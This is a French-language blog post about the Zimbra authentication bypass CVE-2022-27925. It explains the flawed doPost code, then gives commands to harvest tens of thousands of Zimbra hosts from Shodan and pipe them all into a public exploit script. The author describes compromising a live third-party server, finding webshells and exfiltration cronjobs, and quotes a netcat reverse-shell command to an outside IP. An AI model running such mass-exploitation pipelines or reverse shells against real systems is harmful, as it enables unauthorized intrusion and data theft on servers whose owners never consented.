
CVE-2022-27925
La recherche suivante a commencé par essayer de comprendre les POC de plusieurs dépôts GitHub partagés par de nombreux chercheurs et s'est terminée par une surprise intéressante, que je partagerai dans les paragraphes suivants. Le 10 août de cette année, le groupe de recherche en sécurité Volexity a publié sur son compte twitter la découverte de l'exploitation massive de la suite ZCS (Zimbra Collaboration Server) permettant un contournement de l'authentification et que près de 1000 instances de Zimbra étaient compromises dans le monde.
Dans la recherche présentée par les collègues de Volexity, ils montraient une partie des logs consultés
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
De même, ils expliquaient que la faille du code était due à la fonction doPost,

Le problème avec ce code est que l'authentification est vérifiée et qu'un message d'erreur est défini, mais il n'y a pas de déclaration de retour. Cela signifie que le code suivant continuera à s'exécuter, indépendamment du statut d'authentification de l'utilisateur. En suivant la fonction vers le bas, un attaquant n'a besoin que de définir les paramètres corrects dans l'URL pour exploiter la vulnérabilité.
Une fois que nous comprenons les causes possibles et que quelques POC étaient déjà sortis, nous procédons à l'exploitation étape par étape, mais d'abord nous nous renseignons sur l'état en utilisant l'outil greynoise

Nous observons que plus d'un mois après la publication du CVE-2022-27925, les attaques continuent
Sur shodan, nous pouvons observer environ 45 223 installations de Zimbra

shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"

Nous allons parcourir les résultats
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt

Nous allons examiner un peu les données et leur donner le format nécessaire pour automatiser les tests
Nous analysons les données pour pouvoir utiliser un oneliner

Nous utilisons httpx dans docker

Nous téléchargeons la POC depuis GitHub
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC

Nous testons l'oneliner avec la POC, il est important de noter que nous devons déplacer le fichier parsé dans le répertoire de la POC ou l'appeler par le chemin absolu, en utilisant aussi le dump de shodan nous pouvons l'utiliser
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'

Lors de ce test, de nombreuses cibles apparaissent déjà patchées
Finalement, nous avons obtenu un résultat


Une fois la vulnérabilité exploitée, nous observons des fichiers qui sont des scripts APT pour réaliser l'exfiltration des informations et la préparation du chantage

fichier malveillant gift

Fichier de sauvegarde et d'exfiltration
Un des chemins trouvés contenait plusieurs webshells
/opt/zimbra/jetty_base/webapps/zimbraAdmin/

Une analyse des processus en cours d'exécution a montré que des cronjobs étaient installés pour empaqueter les emails

Note : ce qui suit a été réalisé à des fins éducatives et dans le but de faire une bonne action
Une fois le téléchargement de netcat identifié, nous avons procédé à la prise de session des attaquants, on observe l'utilisation de netcat ./nc 52.90.92.82 443 -e /bin/bash
Une vulnérabilité rapportée publiquement il y a plus de 30 jours est toujours en vigueur au moment de la rédaction de cet article, il convient de noter que les personnes affectées ont été notifiées sans succès car la vulnérabilité reste active.